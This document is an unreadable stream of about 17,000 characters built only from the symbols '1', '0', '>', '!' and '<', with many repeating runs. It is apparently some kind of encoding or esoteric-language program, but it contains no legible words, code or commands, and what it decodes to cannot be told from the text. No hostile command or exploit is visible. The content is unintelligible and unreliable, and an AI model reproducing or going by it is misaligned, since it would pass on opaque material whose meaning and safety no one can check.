1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!<>1!1!1!<>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>01010111>01!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!10110>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>10110>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1010>01010>01010>01>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>01010111>01!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!<>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!<>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>10110>1!10110>1!1>0>1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0><>1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!10110>1!1>0><1010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0><>1!1!1010>01>0>1>0>1!<>1!1>0>1!1>0>1!<>1!1!1>0>1!1>0>1>0>1!1!1!1010>01>0>1!<>10110>1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>1!<>1!1>0>1!1>01010111>01!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>01010111>010110>10110>10110>10110>10110>10110>10110>10110>1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1>01010111>01!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1!10110>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!10110>10110>1!<>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!1!1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1>01010111>01!1>0>1>0>1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1>01010111>01!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>10110><>1!1>0>1>0>1!1!1!1!1!1010>01010>01010>01>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1010>010110>1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1>01010111>01!1!101101010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!101101010111>01>0>10110>10110>10110>10110>10110>10110>10110>10110>1!10110>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>010110>1!1!1!1>0>1>0>1!1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0><>1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!10110><>1!1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!<>1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!<>1!1!1!1!1>0>1>0>1!1!1010>01>0>1>0>1!<>1>0>1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1010>01>0>1!<>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!10110>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!<>1!<>1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0><>1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>01010111>01!1>0>1!1!1!1!1!10110>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1>0>1!1!1!<>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1>0>1!1!1!<>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>10110><>1!1>0>1>0>1!1!1010>01010>01010>010110>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>010110>1!1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!<>1!1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>010110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!10110>1!10110>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!1!1>0><>1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!10110>1!10110>10110>1!1>0>1!1>0>1!1!1!1!10110>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110><><>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1>0>1!1>0>1!1!1!1>0><>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0><>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!10110>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!10110><>1>0>1!1>0>1>0>1!1010>01>0>1!1>0>1!<>1>0>1!1!1!1>0>1!1>0><>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!10110>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1!1!1!1!1!10110>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!10110>10110>10110>101101010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!<>1!1>0>1>01010111>01!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!<1010111>01!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>010110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>01010111>01!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1>0>10110><>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1!1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1!1!1!1010>01010>01010>010110>1!1>0>1>0>1!1!1!1!1!1!1!1010>010110>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1!1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>010110>1!10110>1!1!<>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!101101010111>01!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>10110>1!1!1!<>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>10110>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0><1010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0><>1!1!1010>01>0>1>0><>1>0>1!1>0>1!1>0>1>0><>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>101101010111>01>0>1!1!1!1010>01>0>1!1>0>1!1!1!1!1>01010111>0<>1!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>01010111>010110>10110>10110>10110>10110>10110>10110>10110>1!10110>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0><>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1>0>1!1>0><>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!10110>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!10110>1!1>0>1>0>1!1!1>0>1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1>0>1!1!1>0><>1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0><>1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!10110>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>01010111>01!1>0>1!<>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>010110>1!1!1>0>1!1>0>1>0>1!1!101101010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!10110>1!1!1!1!1>0>1!1>0>1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>010110>1!1>0>1!1!1>01010111>01!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>10110><>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1010>01010>01010>01>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>010110>1!10110>1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!10110><>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1010>010110>1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1>0>1>0>1!<>1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>01010111>01!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1>0>1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1>0>1!<>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!<>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1>01010111>01!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>101101010111>01!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1>0>1>01010111>010110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1>01010111>01!1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1>01010111>01!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1!10110>1!1>0>1!1>0><>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!1>0>1!1!1!1>0><>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1>01010111>01!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>01010111>01>0>1!101101010111>10111>01>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1>0>1!1!<>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>01010111>01!10110>1!1>01010111>01!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1>0><>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>101101010111>01!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!<>1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0><>1!1>0>1!1!1!1!1>0>1!1!1!1!1010>01>0>1!1>0>1!1>0><>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!<>10110>1!1>01010111>01!1!1!1!1010>01010>01010>01>0>1!1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>010110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0><>1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1!1010>01>0>1!1!